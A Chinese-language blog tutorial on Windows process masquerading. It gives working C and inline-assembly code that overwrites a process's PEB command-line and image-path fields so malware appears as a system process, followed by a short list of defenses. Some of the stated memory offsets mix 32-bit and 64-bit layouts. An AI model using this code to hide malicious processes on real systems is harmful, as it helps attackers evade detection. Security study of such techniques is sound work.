初探进程伪装
字数 989 2025-08-24 23:51:15
进程伪装技术详解
前言
进程伪装是一种常见的权限维持技术,攻击者在获取主机权限后,通过修改进程信息使其看起来像系统关键进程,从而隐藏恶意行为。本文将深入探讨Windows平台下的进程伪装技术实现原理和方法。
基本原理
Windows系统中有许多关键系统进程(如winlogon.exe、explorer.exe、services.exe等),这些进程对系统正常运行至关重要。进程伪装的核心思想是将恶意进程伪装成这些系统进程,使其在任务管理器等工具中显示为合法系统进程。
关键技术点
PEB结构
PEB(Process Environment Block,进程环境块)是Windows内核中存储进程环境信息的数据结构,包含进程的各种关键信息。其结构定义如下:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; // 被调试状态
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
PROCESS_BASIC_INFORMATION结构
通过NtQueryInformationProcess函数可以获取进程的基本信息,其中包含PEB地址:
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress; // PEB基地址
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
RTL_USER_PROCESS_PARAMETERS结构
该结构包含进程的路径和命令行参数信息:
typedef struct _RTL_USER_PROCESS_PARAMETERS {
// ...
UNICODE_STRING ImagePathName; // 可执行文件路径
UNICODE_STRING CommandLine; // 命令行参数
// ...
} RTL_USER_PROCESS_PARAMETERS;
实现步骤
1. 获取进程句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
2. 获取NtQueryInformationProcess函数地址
typedef NTSTATUS (NTAPI *typedef_NtQueryInformationProcess)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)
::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
3. 查询进程基本信息获取PEB地址
PROCESS_BASIC_INFORMATION pbi = { 0 };
NTSTATUS status = NtQueryInformationProcess(
hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
4. 读取PEB和进程参数
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
5. 修改进程路径和命令行信息
// 修改命令行信息
USHORT CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
// 修改路径信息
USHORT PathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
汇编实现方法
也可以通过汇编直接获取PEB地址进行修改:
BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd) {
PPEB peb = { 0 };
__asm {
mov eax,fs:[30h] // FS段寄存器偏移0x30处是PEB指针
mov peb,eax
}
USHORT usCmdLen = 2 + 2 * wcslen(lpwszCmd);
(*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
(*peb).ProcessParameters->CommandLine.Length = usCmdLen;
USHORT usPathLen = 2 + 2 * wcslen(lpwszPath);
(*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
(*peb).ProcessParameters->ImagePathName.Length = usPathLen;
return TRUE;
}
关键内存偏移
- PEB定位:FS段寄存器偏移0x30处
- ProcessParameters:PEB结构偏移0x20处
- ImagePathName:RTL_USER_PROCESS_PARAMETERS结构偏移0x60处
- CommandLine:RTL_USER_PROCESS_PARAMETERS结构偏移0x70处
防御措施
- 完整性检查:验证关键系统进程的签名和哈希值
- 行为监控:检测进程路径和命令行参数的异常修改
- 内存保护:防止关键进程内存被恶意修改
- 使用专业工具:如Sysinternals Suite中的Process Explorer等工具可以显示更详细的进程信息
总结
进程伪装是一种有效的权限维持技术,通过修改PEB中的进程路径和命令行信息,可以使恶意进程伪装成系统关键进程。理解其实现原理不仅有助于攻击测试,也能帮助防御者更好地检测此类隐蔽攻击。